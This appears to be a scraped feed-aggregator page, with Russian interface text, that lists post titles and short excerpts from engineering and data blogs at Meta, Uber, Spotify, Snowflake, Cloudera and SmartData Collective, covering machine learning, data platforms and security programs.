Jeremy King | Senior Vice President, EngineeringTwo years ago, as I was closing in on my first annual “Pinniversary” as the Chief of Engineering at Pinterest, our offices closed, and work (read: life) as we knew it changed abruptly. As we all adapted to the drastic changes around us, we learned a lot about what was working and what wasn’t in the workplace. The benefits of working flexibly and our ability to be productive from anywhere empowered us to do our jobs well while eliminating long commutes and allowing us to be more present than ever before for important moments with family. We also realized the value of intentional in-person touchpoints with colleagues to build culture and drive c…

8 месяцев назад @ medium.com
Facebook
последний пост 1 месяц назад
Improving Instagram notification management with machine learning and causal inference
Improving Instagram notification management with machine learning and causal inference

We’re sharing how Meta is applying statistics and machine learning (ML) to improve notification personalization and management on Instagram – particularly on daily digest push notifications. By using causal inference and ML to identify highly active users who are likely to see more content organically, we have been able to reduce the number of notifications [...]

Read More...

The post Improving Instagram notification management with machine learning and causal inference appeared first on Engineering at Meta.

1 месяц назад @ engineering.fb.com
Scaling data ingestion for machine learning training at Meta
Scaling data ingestion for machine learning training at Meta

Many of Meta’s products, such as search and language translations, utilize AI models to continuously improve user experiences. As the performance of hardware we use to support training infrastructure increases, we need to scale our data ingestion infrastructure accordingly to handle workloads more efficiently. GPUs, which are used for training infrastructure, tend to double in [...]

Read More...

The post Scaling data ingestion for machine learning training at Meta appeared first on Engineering at Meta.

3 месяца, 3 недели назад @ engineering.fb.com
Applying federated learning to protect data on mobile devices
Applying federated learning to protect data on mobile devices

What the research is: Federated learning with differential privacy (FL-DP) is one of the latest privacy-enhancing technologies being evaluated at Meta as we constantly work to enhance user privacy and further safeguard users’ data in the products we design, build, and maintain. FL-DP enhances privacy in two important ways: It allows machine learning (ML) models [...]

Read More...

The post Applying federated learning to protect data on mobile devices appeared first on Engineering at Meta.

5 месяцев, 2 недели назад @ engineering.fb.com
VESPA: Static profiling for binary optimization
VESPA: Static profiling for binary optimization

What the research is: Recent research has demonstrated that binary optimization is important for achieving peak performance for various applications. For instance, the state-of-the-art BOLT binary optimizer developed at Meta, which is part of the LLVM Compiler Project, significantly improves the performance of highly optimized binaries produced using compilers’ most aggressive optimizations, such as profile-guided [...]

Read More...

The post VESPA: Static profiling for binary optimization appeared first on Engineering at Meta.

8 месяцев, 3 недели назад @ engineering.fb.com
Uber Engineering
последний пост 4 месяца назад
ML Education at Uber: Program Design and Outcomes
ML Education at Uber: Program Design and Outcomes

Introduction

If you have read our previous article, ML Education at Uber: Frameworks Inspired by Engineering Principles, you have seen several examples of how Uber benefits from applying Engineering Principles to drive the ML Education Program’s content design and …

The post ML Education at Uber: Program Design and Outcomes appeared first on Uber Engineering Blog.

4 месяца назад @ eng.uber.com
ML Education at Uber: Frameworks Inspired by Engineering Principles
ML Education at Uber: Frameworks Inspired by Engineering Principles

Introduction

At Uber, millions of machine learning (ML) predictions are made every second, and hundreds of applied scientists, engineers, product managers, and researchers work on ML solutions daily. Uber wins by scaling machine learning. We recognize org-wide that a …

The post ML Education at Uber: Frameworks Inspired by Engineering Principles appeared first on Uber Engineering Blog.

4 месяца назад @ eng.uber.com
Supercharging A/B Testing at Uber
Supercharging A/B Testing at Uber

Introduction

“Immensely laborious calculations on inferior data may increase the yield from 95 to 100 percent. A gain of 5 percent, of perhaps a small total. A competent overhauling of the process of collection, or of the experimental design, may …

The post Supercharging A/B Testing at Uber appeared first on Uber Engineering Blog.

4 месяца, 1 неделя назад @ eng.uber.com
Uber’s Highly Scalable and Distributed Shuffle as a Service
Uber’s Highly Scalable and Distributed Shuffle as a Service

Uber is a data-driven company that heavily relies on offline and online analytics for decision-making. As Uber’s data grows exponentially every year, it’s crucial to process this data very efficiently and with minimum cost. Over the years, Apache Spark™…

The post Uber’s Highly Scalable and Distributed Shuffle as a Service appeared first on Uber Engineering Blog.

4 месяца, 3 недели назад @ eng.uber.com
Enabling Offline Inferences at Uber Scale
Enabling Offline Inferences at Uber Scale

Introduction

At Uber we use data from user support interactions to identify gaps in our products and create better, more delightful experiences for our users. Support interactions with customers include information about broken product experiences, any technical or operational issues …

The post Enabling Offline Inferences at Uber Scale appeared first on Uber Engineering Blog.

5 месяцев, 2 недели назад @ eng.uber.com
Uber’s Real-Time Document Check
Uber’s Real-Time Document Check

Introduction

Justification for Identity Verification

Latin America is a rich cultural region, known for its world-renowned gastronomy, its abundant biodiversity, and its welcoming population. However, socio-economic inequality has been a challenge for the region, and is generally considered a major …

The post Uber’s Real-Time Document Check appeared first on Uber Engineering Blog.

5 месяцев, 3 недели назад @ eng.uber.com
Better Load Balancing: Real-Time Dynamic Subsetting
Better Load Balancing: Real-Time Dynamic Subsetting

Overview

Subsetting is a common technique used in load balancing for large-scale distributed systems. In this blog post, we will briefly introduce Uber’s current service mesh architecture that has been powering thousands of critical microservices in Uber since 2016. We …

The post Better Load Balancing: Real-Time Dynamic Subsetting appeared first on Uber Engineering Blog.

6 месяцев, 2 недели назад @ eng.uber.com
Presto® on Apache Kafka® At Uber Scale
Presto® on Apache Kafka® At Uber Scale

Uber’s goal is to ignite opportunity by setting the world in motion, and big data is a very important part of that. Presto® and Apache Kafka® play critical roles in Uber’s big data stack. Presto is the de …

The post Presto® on Apache Kafka® At Uber Scale appeared first on Uber Engineering Blog.

7 месяцев, 2 недели назад @ eng.uber.com
Securing Kafka® Infrastructure at Uber
Securing Kafka® Infrastructure at Uber

Background

Uber has one of the largest deployments of Apache Kafka® in the world. It empowers a large number of real-time workflows at Uber, including pub-sub message buses for passing event data from the rider and driver apps, as …

The post Securing Kafka® Infrastructure at Uber appeared first on Uber Engineering Blog.

7 месяцев, 3 недели назад @ eng.uber.com
Uber’s Emergency Button and The Technologies Behind It
Uber’s Emergency Button and The Technologies Behind It

Safety has long been a top priority at Uber, as Uber’s CEO Dara Khosrowshahi wrote in ‘Raising the Bar on Safety’ in September 2018. In order to #StandForSafety, the team at Uber has rolled out a set of …

The post Uber’s Emergency Button and The Technologies Behind It appeared first on Uber Engineering Blog.

8 месяцев назад @ eng.uber.com
Avoiding CPU Throttling in a Containerized Environment
Avoiding CPU Throttling in a Containerized Environment

At Uber, all stateful workloads run on a common containerized platform across a large fleet of hosts. Stateful workloads include MySQL®, Apache Cassandra®, ElasticSearch®, Apache Kafka®, Apache HDFS™, Redis™…

The post Avoiding CPU Throttling in a Containerized Environment appeared first on Uber Engineering Blog.

8 месяцев, 1 неделя назад @ eng.uber.com
One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™
One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™

Overview Data access restrictions, retention, and encryption at rest are fundamental security controls. This blog explains how we have built and utilized open-sourced Apache Parquet™’s finer-grained encryption feature to support all 3 controls in a unified way. In …

The post One Stone, Three Birds: Finer-Grained Encryption @ Apache Parquet™ appeared first on Uber Engineering Blog.

8 месяцев, 3 недели назад @ eng.uber.com
Introducing Ballast: An Adaptive Load Test Framework
Introducing Ballast: An Adaptive Load Test Framework

As Uber’s architecture has grown to encompass thousands of interdependent microservices, we need to test our mission-critical components at max load in order to preserve reliability. Accurate load testing allows us to validate if a set of services are working …

The post Introducing Ballast: An Adaptive Load Test Framework appeared first on Uber Engineering Blog.

9 месяцев назад @ eng.uber.com
Spotify Engineering Spotify Engineering
последний пост 2 недели, 2 дня назад
Strategies and Tools for Performing Migrations on Platform
Strategies and Tools for Performing Migrations on Platform

Needing to deliver faster and more reliably while managing a growing number of contributors and a more complex codebase seems like the fate of every hyper-growth tech company. For platform teams, the challenge is not any different. How can we quickly roll out and increase the adoption of new technologies safely with a growing codebase [...]

The post Strategies and Tools for Performing Migrations on Platform appeared first on Spotify Engineering.

2 недели, 2 дня назад @ engineering.atspotify.com
Spotify’s Vulnerability Management Platform
Spotify’s Vulnerability Management Platform

We started developing our vulnerability management platform (VMP) at Spotify in Q2, 2020, and now that we’ve implemented it and use the system in our day-to-day work, we wanted to take a moment to share our journey to help reduce security risks in an efficient and scalable manner. Vulnerabilities Preventing vulnerabilities within Spotify is the [...]

The post Spotify’s Vulnerability Management Platform appeared first on Spotify Engineering.

3 недели, 2 дня назад @ engineering.atspotify.com
How We Improved the Development Experience for our Client Developers 
How We Improved the Development Experience for our Client Developers 

TL;DR The core motivation for Spotify’s Client Platform (CliP) team is empowering and unblocking client developers and giving teams the tools they need to ensure a happy and satisfying developer experience (DX). In line with this, we wanted to improve the coding experience for our development teams through infrastructure changes. We conducted research among 318 [...]

The post How We Improved the Development Experience for our Client Developers  appeared first on Spotify Engineering.

1 месяц назад @ engineering.atspotify.com
Bringing the Climate Fight to Your IDE
Bringing the Climate Fight to Your IDE

TL;DR As part of Spotify’s goal to reach net zero emissions by 2030, we’ve made climate action one of our five technology pillars and have been integrating sustainability into our everyday engineering practices. This year, climate action was the theme of our company-wide Hack Week, we made climate responsibility part of our official engineering handbook, [...]

The post Bringing the Climate Fight to Your IDE appeared first on Spotify Engineering.

1 месяц, 1 неделя назад @ engineering.atspotify.com
Open Source Work Is Work
Open Source Work Is Work

Back in June, I presented the current state of Spotify’s open source activities to our developers as part of our internal Spotify Engineering Conference, aka SpEC. In the presentation, I go over where we currently are with our open source efforts, what challenges we face, and the vision for where we are going. Centered around [...]

The post Open Source Work Is Work appeared first on Spotify Engineering.

1 месяц, 3 недели назад @ engineering.atspotify.com
Protected: Lessons Learned from Algorithmic Impact Assessments in Practice
Protected: Lessons Learned from Algorithmic Impact Assessments in Practice

There is no excerpt because this is a protected post.

The post Protected: Lessons Learned from Algorithmic Impact Assessments in Practice appeared first on Spotify Engineering.

2 месяца назад @ engineering.atspotify.com
From Development to Real Users: How to Create a Web Performance Story
From Development to Real Users: How to Create a Web Performance Story

Some of the most common questions asked when it comes to work with performance are, How do you convince stakeholders that improving the performance of your project is actually worth the investment? How can you prove that the work is necessary to begin with? Or prove that you have shipped improvements? And what is the [...]

The post From Development to Real Users: How to Create a Web Performance Story appeared first on Spotify Engineering.

2 месяца назад @ engineering.atspotify.com
Scaling Translations at Spotify
Scaling Translations at Spotify Scaling Translations at Spotify

Last year, we added support for 36 new languages to our products in one go, for a total of 62 languages. This article describes how we delivered on such an immense localization effort at Spotify. We called the project Scaling Translations. The business case We believe that localization is key for engaging with our users [...]

The post Scaling Translations at Spotify appeared first on Spotify Engineering.

2 месяца, 2 недели назад @ engineering.atspotify.com
How We Maintain Security Testing within the Software Development Life Cycle
How We Maintain Security Testing within the Software Development Life Cycle How We Maintain Security Testing within the Software Development Life Cycle

TL;DR The software development life cycle (SDLC) has always been followed by functional testing to ensure software solutions have all the necessary features and functions. Because of the growing number of cyberattacks, software development stakeholders have been forced to implement security testing as the main track in SDLC to prevent vulnerabilities and flaws in applications [...]

The post How We Maintain Security Testing within the Software Development Life Cycle appeared first on Spotify Engineering.

3 месяца, 1 неделя назад @ engineering.atspotify.com
Software Visualization — Challenge, Accepted
Software Visualization — Challenge, Accepted Software Visualization — Challenge, Accepted

TL;DR Architectural diagrams are the bread and butter of software design and a foundational tool for communication and collaboration on software development. At Spotify, we have an incredibly complex network of thousands of interlinked software systems owned by hundreds of teams, so having a simple way to visualize these connections is essential. While capturing all [...]

The post Software Visualization — Challenge, Accepted appeared first on Spotify Engineering.

4 месяца, 1 неделя назад @ engineering.atspotify.com
What it Took to Scale Spotify’s Marketing Efforts
What it Took to Scale Spotify’s Marketing Efforts What it Took to Scale Spotify’s Marketing Efforts

At Spotify, we’ve tried to uphold the tradition of running one major holiday marketing campaign at the end of each year. The campaigns typically run on various platforms such as the Spotify Homepage and the Premium page. More recently, we wanted to run more campaigns throughout the year, perhaps during different holidays like Halloween or [...]

The post What it Took to Scale Spotify’s Marketing Efforts appeared first on Spotify Engineering.

4 месяца, 4 недели назад @ engineering.atspotify.com
Q&A with the Maintainers of the Spotify FOSS Fund
Q&A with the Maintainers of the Spotify FOSS Fund Q&A with the Maintainers of the Spotify FOSS Fund

TL;DR We recently announced the 2022 recipients of the Spotify FOSS Fund, which we created to help support the open source projects we use at Spotify. As this was the first time we’ve made direct financial contributions to independent open source projects, we wanted to learn more about what kind of impact our contributions might [...]

The post Q&A with the Maintainers of the Spotify FOSS Fund appeared first on Spotify Engineering.

5 месяцев, 1 неделя назад @ engineering.atspotify.com
How We Built Infrastructure to Run User Forecasts at Spotify
How We Built Infrastructure to Run User Forecasts at Spotify How We Built Infrastructure to Run User Forecasts at Spotify

TL;DR With Spotify’s rapid global expansion to more than 180 countries, it’s critical that the infrastructure of user forecasts catch up to business needs. As the business evolves, we need an infrastructure in place that can satisfy the varying needs of stakeholders across the company. To enable fast iterations and facilitate model training, we built [...]

The post How We Built Infrastructure to Run User Forecasts at Spotify appeared first on Spotify Engineering.

5 месяцев, 2 недели назад @ engineering.atspotify.com
Say Hello to the Recipients of the 2022 Spotify FOSS Fund
Say Hello to the Recipients of the 2022 Spotify FOSS Fund Say Hello to the Recipients of the 2022 Spotify FOSS Fund

TL;DR Today we’re announcing the recipients of the first Spotify FOSS Fund. The objective of this fund is to give the independent open source projects we care about a meaningful financial sponsorship to help ensure those projects have the means to continue maintaining and maturing the code we rely on. The 2022 Spotify FOSS Fund [...]

6 месяцев назад @ engineering.atspotify.com
Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter
Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter Meet Basic Pitch: Spotify’s Open Source Audio-to-MIDI Converter

Introducing Basic Pitch, Spotify’s free open source tool for converting audio into MIDI. Basic Pitch uses machine learning to transcribe the musical notes in a recording. Drop a recording of almost any instrument, including your voice, then get back a MIDI version, just like that. Unlike similar ML models, Basic Pitch is not only versatile [...]

6 месяцев назад @ engineering.atspotify.com
Ripple Engineering Ripple Engineering
последний пост None
Dmitry Anoshin recommends
Snowflake
последний пост 53 минуты назад
Data Vault Techniques on Snowflake: Handling Semi-Structured Data
Data Vault Techniques on Snowflake: Handling Semi-Structured Data

Snowflake continues to set the standard for data in the cloud by removing the need to perform maintenance tasks on your data platform and giving you the freedom to choose your data model methodology for the cloud. We hope you enjoyed our 10-part “Data Vault Techniques on Snowflake” series, and have learned some valuable […]

The post Data Vault Techniques on Snowflake: Handling Semi-Structured Data appeared first on Snowflake.

53 минуты назад @ snowflake.com
The Snowflake Holiday Market for Data Lovers: Holiday Gift Guide 2.0
The Snowflake Holiday Market for Data Lovers: Holiday Gift Guide 2.0

Come in and get an overview of the Snowflake Holiday Market, where you’ll find the perfect gift for the data lovers in your life.

The post The Snowflake Holiday Market for Data Lovers: Holiday Gift Guide 2.0 appeared first on Snowflake.

21 час назад @ snowflake.com
How Retailers Increase Customer Satisfaction and Retention with the Snowflake Retail Data Cloud
How Retailers Increase Customer Satisfaction and Retention with the Snowflake Retail Data Cloud

Customers who feel understood are happy customers. According to a recent McKinsey report, 71% of consumers expect companies to deliver personalized interactions based on what they like—and 76% get frustrated when this doesn’t happen. To meet those high expectations, retail industry leaders are employing Customer 360 to gain deeper insights into their customers. Customer 360 […]

The post How Retailers Increase Customer Satisfaction and Retention with the Snowflake Retail Data Cloud appeared first on Snowflake.

1 день назад @ snowflake.com
How Financial Services Manage ESG Workflows with the Snowflake Data Cloud
How Financial Services Manage ESG Workflows with the Snowflake Data Cloud

Now more than ever, issues such as climate change, business ethics, and corporate governance are at the forefront of public and political attention. This is why an established set of business standards known as ESG (environmental, social, and governance) often plays a role in today’s financial professionals’ efforts to identify long-term opportunities and risks. However, […]

The post How Financial Services Manage ESG Workflows with the Snowflake Data Cloud appeared first on Snowflake.

2 дня назад @ snowflake.com
Life Sciences: Data Sharing as Competitive Advantage
Life Sciences: Data Sharing as Competitive Advantage

Learn about the benefits of data sharing for life sciences companies, and how organizations can leverage data sharing to gain competitive advantage.

The post Life Sciences: Data Sharing as Competitive Advantage appeared first on Snowflake.

2 дня, 19 часов назад @ snowflake.com
Alerts and Observability for Pipeline Monitoring and Cost Management
Alerts and Observability for Pipeline Monitoring and Cost Management

Have you ever wished that there was an automated way to receive a notification when a data issue occurs? Perhaps an email when credit consumption on a virtual warehouse exceeds a specific threshold, or a notification if you haven’t received new data in a stage in more than 30 minutes. It’s important to know when […]

The post Alerts and Observability for Pipeline Monitoring and Cost Management appeared first on Snowflake.

1 неделя назад @ snowflake.com
The Pandemic was Telehealth’s Baptism by Fire: Here Are its Impacts
The Pandemic was Telehealth’s Baptism by Fire: Here Are its Impacts

Telehealth took over as a primary care option during the pandemic—and it’s not going anywhere. Here’s what this means for all of us.

The post The Pandemic was Telehealth’s Baptism by Fire: Here Are its Impacts appeared first on Snowflake.

1 неделя, 1 день назад @ snowflake.com
Data Vault Techniques on Snowflake: Virtual Warehouses and Charge Back
Data Vault Techniques on Snowflake: Virtual Warehouses and Charge Back

Snowflake continues to set the standard for data in the cloud by removing the need to perform maintenance tasks on your data platform and giving you the freedom to choose your data model methodology for the cloud. Cloud offers limitless scalability, and with Snowflake’s unique cloud-based architecture we can increase platform efficiency to make your […]

The post Data Vault Techniques on Snowflake: Virtual Warehouses and Charge Back appeared first on Snowflake.

1 неделя, 2 дня назад @ snowflake.com
3 Ways Technology Can Build Data Economy Leadership—or Hold You Back
3 Ways Technology Can Build Data Economy Leadership—or Hold You Back

Technology powers the data economy. Our research identified 10 attributes of an organization’s data infrastructure that enable it to take full advantage of the data economy, the global supply and demand for live data, data applications, and data services. But of the 1,000 IT and business leaders we surveyed, a minority of them reported having […]

The post 3 Ways Technology Can Build Data Economy Leadership—or Hold You Back appeared first on Snowflake.

1 неделя, 2 дня назад @ snowflake.com
Snowflake for Marketing with Flywheel
Snowflake for Marketing with Flywheel

How innovative companies are turning Snowflake into a marketing growth engine with Flywheel Software We’ve researched dozens of the world’s most successful companies in search of the keys to sustained growth, and we found a single, consistent pattern: customer segmentation and experimentation. The good news is that Snowflake and Flywheel have recently made this pattern […]

The post Snowflake for Marketing with Flywheel appeared first on Snowflake.

2 недели назад @ snowflake.com
How Retailers Deliver Seamless Omnichannel Experiences with the Snowflake Retail Data Cloud
How Retailers Deliver Seamless Omnichannel Experiences with the Snowflake Retail Data Cloud

Consumers increasingly expect omnichannel experiences when they interact with retail brands. According to McKinsey, B2B customers regularly use 10 or more channels to interact with suppliers (up from just 5 channels in 2016). To meet their expectations, leading brands must create a seamless customer experience across all of their channels. This means customers should be […]

The post How Retailers Deliver Seamless Omnichannel Experiences with the Snowflake Retail Data Cloud appeared first on Snowflake.

2 недели назад @ snowflake.com
Slow Into the Turn, Accelerate Out: Implement Cost Governance To Accelerate Cloud Adoption
Slow Into the Turn, Accelerate Out: Implement Cost Governance To Accelerate Cloud Adoption

A recent study on cloud costs has sparked provocative headlines, such as InfoWorld’s “Was moving to the cloud a mistake?” Clearly, this one was intended to grab attention. With the exponential growth in cloud adoption, who wouldn’t want to find out if it were all for naught? Fortunately, the news is less dire than suggested. […]

The post Slow Into the Turn, Accelerate Out: Implement Cost Governance To Accelerate Cloud Adoption appeared first on Snowflake.

2 недели, 1 день назад @ snowflake.com
Snowflake Recertifications: Navigating Snowflake’s Maintenance Paths
Snowflake Recertifications: Navigating Snowflake’s Maintenance Paths

The Snowflake Certification program launched in September 2019 and boasts over 10,000 SnowPros (as of October 2022) in our certified community. Earning and maintaining a SnowPro Certification is your personal commitment to expanding your Snowflake skill set, knowledge, and possible new career opportunities. To demonstrate continued competency, stay certified with Snowflake through our recertification paths. […]

The post Snowflake Recertifications: Navigating Snowflake’s Maintenance Paths appeared first on Snowflake.

2 недели, 2 дня назад @ snowflake.com
Snowflake’s Commitment to Continuously Improve Economics for Our Customers
Snowflake’s Commitment to Continuously Improve Economics for Our Customers

Since Snowflake’s inception, we’ve had the needs of our customers as our North Star, with a clear focus on security and governance of data. Early on we also committed to continuous innovations to improve performance and reduce latencies, and by virtue of our business model continuously improve the economics for our customers. We want to […]

The post Snowflake’s Commitment to Continuously Improve Economics for Our Customers appeared first on Snowflake.

2 недели, 2 дня назад @ snowflake.com
How a Data Cloud Unlocks AI/ML Innovation at Scale
How a Data Cloud Unlocks AI/ML Innovation at Scale

Enterprises and governments around the world have entered an era of “compressed digital transformation (DX).” In this scenario, organizations are forced to innovate using AI and ML to create new data products and applications in weeks and months, not years and thus can leap ahead. Advancements in machine learning, natural language processing, and computer vision […]

The post How a Data Cloud Unlocks AI/ML Innovation at Scale appeared first on Snowflake.

2 недели, 6 дней назад @ snowflake.com
Cloudera Cloudera
последний пост 1 неделя, 6 дней назад
Enriching Streams with Hive tables via Flink SQL
Enriching Streams with Hive tables via Flink SQL

Introduction Stream processing is about creating business value by applying logic to your data while it is in motion. Many times that involves combining data sources to enrich a data stream. Flink SQL does this and directs the results of whatever functions you apply to the data into a sink. Business use cases, such as […]

The post Enriching Streams with Hive tables via Flink SQL appeared first on Cloudera Blog.

1 неделя, 6 дней назад @ blog.cloudera.com
Cloudera’s Open Data Lakehouse Supercharged with dbt Core
Cloudera’s Open Data Lakehouse Supercharged with dbt Core

Innovation Accelerator Spotlight: Cloudera's dbt offering provides its customers a way to simplify and streamline their transformation pipelines in the open data lakehouse using any engine, and in any form factor.

The post Cloudera’s Open Data Lakehouse Supercharged with dbt Core appeared first on Cloudera Blog.

1 месяц, 3 недели назад @ blog.cloudera.com
The Modern Data Lakehouse: An Architectural Innovation
The Modern Data Lakehouse: An Architectural Innovation

The promise of a modern data lakehouse architecture Imagine having self-service access to all business data, anywhere it may be, and being able to explore it all at once. Imagine quickly answering burning business questions nearly instantly, without waiting for data to be found, shared, and ingested. Imagine independently discovering rich new business insights from […]

The post The Modern Data Lakehouse: An Architectural Innovation appeared first on Cloudera Blog.

2 месяца, 3 недели назад @ blog.cloudera.com
Building Custom Runtimes with Editors in Cloudera Machine Learning
Building Custom Runtimes with Editors in Cloudera Machine Learning

Cloudera Machine Learning (CML) is a cloud-native and hybrid-friendly machine learning platform. It unifies self-service data science and data engineering in a single, portable service as part of an enterprise data cloud for multi-function analytics on data anywhere. CML empowers organizations to build and deploy machine learning and AI capabilities for business at scale, efficiently […]

The post Building Custom Runtimes with Editors in Cloudera Machine Learning appeared first on Cloudera Blog.

3 месяца, 1 неделя назад @ blog.cloudera.com
How to Use Apache Iceberg in CDP’s Open Lakehouse
How to Use Apache Iceberg in CDP’s Open Lakehouse

In June 2022, Cloudera announced the general availability of Apache Iceberg in the Cloudera Data Platform (CDP). Iceberg is a 100% open-table format, developed through the Apache Software Foundation, which helps users avoid vendor lock-in and implement an open lakehouse. The general availability covers Iceberg running within some of the key data services in CDP, […]

The post How to Use Apache Iceberg in CDP’s Open Lakehouse appeared first on Cloudera Blog.

3 месяца, 3 недели назад @ blog.cloudera.com
Applying Fine Grained Security to Apache Spark
Applying Fine Grained Security to Apache Spark

Fine grained access control (FGAC) with Spark Apache Spark with its rich data APIs has been the processing engine of choice in a wide range of applications from data engineering to machine learning, but its security integration has been a pain point.t Many enterprise customers needi finer granularity of control, in particular at the […]

The post Applying Fine Grained Security to Apache Spark appeared first on Cloudera Blog.

4 месяца назад @ blog.cloudera.com
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform
Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform

Cloudera Technology Spotlight

The post Supercharge Your Data Lakehouse with Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

5 месяцев назад @ blog.cloudera.com
The Future of the Data Lakehouse – Open
The Future of the Data Lakehouse – Open

Cloudera customers run some of the biggest data lakes on earth. These lakes power mission critical large scale data analytics, business intelligence (BI), and machine learning use cases, including enterprise data warehouses. In recent years, the term “data lakehouse” was coined to describe this architectural pattern of tabular analytics over data in the data lake. […]

The post The Future of the Data Lakehouse – Open appeared first on Cloudera Blog.

5 месяцев, 2 недели назад @ blog.cloudera.com
Optimizing Hive on Tez Performance
Optimizing Hive on Tez Performance

A guide to tune and troubleshoot performance of the Hive on Tez after upgrading to CDP

The post Optimizing Hive on Tez Performance appeared first on Cloudera Blog.

6 месяцев, 3 недели назад @ blog.cloudera.com
From the Ground Up: The Truth About Data Innovation
From the Ground Up: The Truth About Data Innovation

Data holds incredible untapped potential for Australian organisations across industries, regardless of individual business goals, and all organisations are at different points in their data transformation journey with some achieving success faster than others. To be successful, the use of data insights must become a central lifeforce throughout an organisation and not just reside within […]

The post From the Ground Up: The Truth About Data Innovation appeared first on Cloudera Blog.

7 месяцев, 2 недели назад @ blog.cloudera.com
5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP)
5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP)

Please join us on March 24 for Future of Data meetup where we do a deep dive into Iceberg with CDP What is Apache Iceberg? Apache Iceberg is a high-performance, open table format, born-in-the cloud that scales to petabytes independent of the underlying storage layer and the access engine layer. By being a truly open […]

The post 5 Reasons to Use Apache Iceberg on Cloudera Data Platform (CDP) appeared first on Cloudera Blog.

8 месяцев, 1 неделя назад @ blog.cloudera.com
Introducing Apache Iceberg in Cloudera Data Platform
Introducing Apache Iceberg in Cloudera Data Platform

Over the past decade, the successful deployment of large scale data platforms at our customers has acted as a big data flywheel driving demand to bring in even more data, apply more sophisticated analytics, and on-board many new data practitioners from business analysts to data scientists. This unprecedented level of big data workloads hasn’t come […]

The post Introducing Apache Iceberg in Cloudera Data Platform appeared first on Cloudera Blog.

9 месяцев, 1 неделя назад @ blog.cloudera.com
Make the leap to Hybrid with Cloudera Data Engineering
Make the leap to Hybrid with Cloudera Data Engineering

Introducing Cloudera Data Engineering in CDP Private Cloud 1.3

The post Make the leap to Hybrid with Cloudera Data Engineering appeared first on Cloudera Blog.

9 месяцев, 2 недели назад @ blog.cloudera.com
Smart Data
последний пост 1 день, 19 часов назад
Advances in Data Analytics Key to Business Website Optimization
Advances in Data Analytics Key to Business Website Optimization

Data analytics technology has had a profound effect on the nature of customer engagement. Analytics is especially important for companies trying to optimize their online presence. Website optimization is absolutely vital for any brand striving to do business online. According to Northern Arizona University, 88% of customers will leave a website due to a poor […]

The post Advances in Data Analytics Key to Business Website Optimization appeared first on SmartData Collective.

1 день, 19 часов назад @ smartdatacollective.com
Accessible Business Analytics Set to Be a Boon for Small Businesses
Accessible Business Analytics Set to Be a Boon for Small Businesses

It’s hard to overestimate the value that data insights have come to represent to today’s businesses. Investments in analytics tech have risen commensurately, with some 73 percent of respondents telling IDC that they expect to spend more on data-focused software than any other category in 2023. While emphasizing data analytics has become the standard for […]

The post Accessible Business Analytics Set to Be a Boon for Small Businesses appeared first on SmartData Collective.

2 дня, 19 часов назад @ smartdatacollective.com
Intellectual Property Law Becomes Murkier As More Creations Are Created with AI
Intellectual Property Law Becomes Murkier As More Creations Are Created with AI

Last September, various news outlets picked up the story of an AI-generated painting taking first place at the Colorado State Fair’s art contest. To create the winning piece, the contestant entered some text into Midjourney, an online app that creates images based on text input. The result is a piece called ‘Théâtre D’opéra Spatial,’ one […]

The post Intellectual Property Law Becomes Murkier As More Creations Are Created with AI appeared first on SmartData Collective.

2 дня, 19 часов назад @ smartdatacollective.com
Is Artificial Intelligence Setting A New Standard For Web Design?
Is Artificial Intelligence Setting A New Standard For Web Design?

Artificial intelligence is playing an important role in modern creative professions. There are a lot of reasons a growing number of companies are turning to AI technology. One poll showed that 61% of companies found that AI and machine learning were their best data investments. One of the industries that is evolving by adopting new […]

The post Is Artificial Intelligence Setting A New Standard For Web Design? appeared first on SmartData Collective.

6 дней, 20 часов назад @ smartdatacollective.com
AI Can Help Restaurants Survive Challenges with Inflation and the Coming Recession
AI Can Help Restaurants Survive Challenges with Inflation and the Coming Recession

Inflation and an impending recession are two huge challenges facing the restaurant industry today. But could artificial intelligence be the solution to both of these problems? Let’s take a look at how AI could help restaurants survive and even thrive in spite of these challenges. Many factors are contributing to inflation, including the rising cost […]

The post AI Can Help Restaurants Survive Challenges with Inflation and the Coming Recession appeared first on SmartData Collective.

1 неделя, 3 дня назад @ smartdatacollective.com
Data Analytics Solves Manufacturing Marketing Agency Challenges
Data Analytics Solves Manufacturing Marketing Agency Challenges

Data analytics is unquestionably one of the most disruptive technologies impacting the manufacturing sector. Manufacturers are projected to spend nearly $10 billion on analytics by the end of the year. Data analytics can solve many of the biggest challenges that manufacturers face. One of the most significant benefits of leveraging analytics in manufacturing is with […]

The post Data Analytics Solves Manufacturing Marketing Agency Challenges appeared first on SmartData Collective.

1 неделя, 3 дня назад @ smartdatacollective.com
Advances In AI Help Marketers With Live Streaming Video Marketing
Advances In AI Help Marketers With Live Streaming Video Marketing

The COVID-19 pandemic fundamentally altered the marketing landscape, and in many ways for the better. While live streaming and video marketing have long been a part of a marketers toolkit, the prolonged lockdowns, social distancing, and travel bans over the course of the pandemic helped thrust it into the limelight, resulting in widespread adoption and […]

The post Advances In AI Help Marketers With Live Streaming Video Marketing appeared first on SmartData Collective.

2 недели, 1 день назад @ smartdatacollective.com
How Artificial Intelligence Can Improve Your Fundraising Efforts
How Artificial Intelligence Can Improve Your Fundraising Efforts

AI technology has radically changed the future of many industries and is changing the way companies do business forever. Most of the discussions on the benefits of AI focus on helping traditional businesses boost their bottom line. In our capitalist economy, this is not surprising. However, AI also offers many benefits for nonprofits. Dr. Lobna […]

The post How Artificial Intelligence Can Improve Your Fundraising Efforts appeared first on SmartData Collective.

2 недели, 2 дня назад @ smartdatacollective.com
Top 5 Reasons You Should Become a Data Analyst
Top 5 Reasons You Should Become a Data Analyst

Data has unquestionably had a huge impact on our lives. It is becoming more prolific as well, as 2.5 quintillion bytes of data are generated every day. Data is everything in today’s tech-driven world. Every company collects data, analyzes it, and makes its marketing and sales strategies based on the data’s results to attract more […]

The post Top 5 Reasons You Should Become a Data Analyst appeared first on SmartData Collective.

2 недели, 4 дня назад @ smartdatacollective.com
3 Ways AI Has Led to Horrifying Cybersecurity Threats
3 Ways AI Has Led to Horrifying Cybersecurity Threats

